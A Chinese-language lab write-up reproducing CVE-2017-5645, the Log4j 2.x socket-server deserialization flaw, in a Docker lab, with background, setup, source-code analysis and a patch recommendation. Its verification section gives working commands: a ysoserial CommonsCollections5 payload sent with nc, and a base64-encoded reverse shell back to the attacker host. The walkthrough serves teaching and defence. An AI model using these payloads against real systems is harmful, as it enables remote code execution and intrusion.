目录
实验目的
技能增长
预备知识
基础知识
Apache
Apache Log4j
Docker
Docker容器与虚拟化的区别
漏洞描述
漏洞危害
漏洞影响版本
漏洞利用条件
实验环境
攻击机
目标机
环境搭建
漏洞验证
漏洞分析
漏洞修复
复现并分析【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞,使用docker技术搭建漏洞环境,在实验环境中复现该漏洞。
通过本次实验,可以了解Apache Web服务器,了解docker容器技术,使用docker技术搭建实验环境,并在实验环境中复现【CVE-2017-5645】Apache Log4j Server 反序列化命令执行漏洞。
Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩展,将Perl/Python等解释器编译到服务器中。
Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。Log4j在工程中可以易用,方便等代替了 System.out 等打印语句,它是 Java 下最流行的日志输入工具,一些著名的开源项目,像spring、hibernate、struts都使用该 工具 作为日志输入工具,可以帮助调试(有时候debug是发挥不了作用的)和分析。
Docker 技术使用 Linux 内核和内核功能(例如 Cgroups 和 namespaces)来分隔进程,以便各进程相互独立运行。这种独立性正是采用容器的目的所在;它可以独立运行多种进程、多个应用,更加充分地发挥基础设施的作用,同时保持各个独立系统的安全性。
两者为互补关系。虚拟化使得您的操作系统(Windows 或 Linux)可同时在单个硬件系统上运行。 容器则可共享同一个操作系统内核,将应用进程与系统其他部分隔离开。例如:ARM Linux 系统运行 ARM Linux 容器,x86 Linux 系统运行 x86 Linux 容器,x86 Windows 系统运行 x86 Windows 容器。Linux 容器具有极佳的可移植性,但前提是它们必须与底层系统兼容。
攻击者可以通过发送一个特别制作的2进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
漏洞危害评分:7.5,攻击者可利用该漏洞执行任意代码。
Apache Log4j 2.8.2之前的2.x版本
无
系统类别:Kali Linux
内核版本:Linux kali 5.16.0-kali7-amd64
攻击机IP:192.168.254.140
系统类别:Ubuntu_16.04
目标机IP:192.168.254.89
软件版本:Apache Log4j 2.8.1
进入Ubuntu实验机,启动docker(环境默认已启动):
service start docker
输入命令:
ls
输入命令
cd log4j
进入log4j文件夹,输入命令
ls
查看当前目录文件,可以看到CVE-2017-5645
输入
cd CVE-2017-5645
进入该文件夹
输入
docker-compose up -d
启动docker容器
docker ps
可以查看容器状态
环境启动后,将在4712端口开启一个TCPServer。
打开攻击机kali
输入命令
nmap 192.168.254.89 -p 4712
可以看到4712端口是正常开启的。
我们使用ysoserial生成payload,然后直接发送给192.168.254.89:4712端口即可。
ysoserial是什么?
ysoserial是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。主驱动程序接受用户指定的命令,并将其封装在用户指定的小工具链中,然后将这些对象序列化为stdout。当类路径上具有所需小工具的应用程序不安全地反序列化该数据时,将自动调用该链并导致在应用程序主机上执行该命令。
ysoserial项目地址:
https://github.com/frohoff/ysoserial
下载后打包成jar文件进行使用。
执行命令:
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/testsuccess" | nc 192.168.254.89 4712
docker exec -it [容器id] /bin/bash
执行命令
cd tmp
进入tmp文件夹,查看目录文件,可以看到testsuccess文件,可见touch /tmp/testsuccess执行成功。
我们把命令替换成反弹shell的命令,就能够成功弹回shell。
首先,我们打开在线生成shell的网站,网址为
https://forum.ywhack.com/shell.php
输入kali攻击机的ip地址以及对应的端口,就能够在线生成shell,我们复制第一个shell
然后,我们将生成的shell进行base64加密,在线加密的网址为
Base64 在线编码解码 | Base64 加密解密 - Base64.us
将加密的结果复制
在kali中输入命令
nc -lvvp 9898
对9898端口进行监听
重新打开一个终端,输入命令
java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1NC4xNDAvOTg5OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.254.89 4712
执行后监听9898端口的终端就会弹出shell
首先看下TcpSocketServer类结构
CommandLineArguments类是自定义处理命令行参数用的,SocketHandler类用于处理客户端连接,然后就是三个构造函数,接着create*SocketServer函数用于创建各类服务端,main用于直接运行的,extract用于创建一个ServerSocket并返回。
我们来看看接受客户端的情况,如下图
注意红框里,将clientSocket作为参数实例化SocketHandler类,然后放入handlers中,handlers是一个ConcurrentMap。最后调用了start函数。
我们去看看这个 SocketHandler 具体做了什么
构造函数里,获取了 socket 中的数据流后,传入了 logEventInput 的wrapStream中,看看logEventInput
是一个LogEventBridge类型的
我们跟进 wrapStream函数
发现有AbstractLogEventBridge和ObjectInputStreamLogEventBridge实现了,这里我们当然选择跟进ObjectInputStreamLogEventBridge类中
就将传入的inputStream用ObjectInputStream包装一下然后返回了
那么这个SocketHandler中的inputStream就是一个ObjectInputStream对象了
我们接着看SocketHandler的run函数
肯定是ObjectInputStreamLogEventBridge里的logEvents
inputStream传入logEvents后,直接调用了readObject函数,这里就触发了反序列化。
其他操作都很正常,接收数据后,提取二进制流赋值给bais,然后带入wrapStream处理成ObjectInputStream,然后传入ObjectInputStreamLogEventBridge中的logEvents函数,就和TCP中的触发一样了,直接调用的readObject函数。
更新到最新版本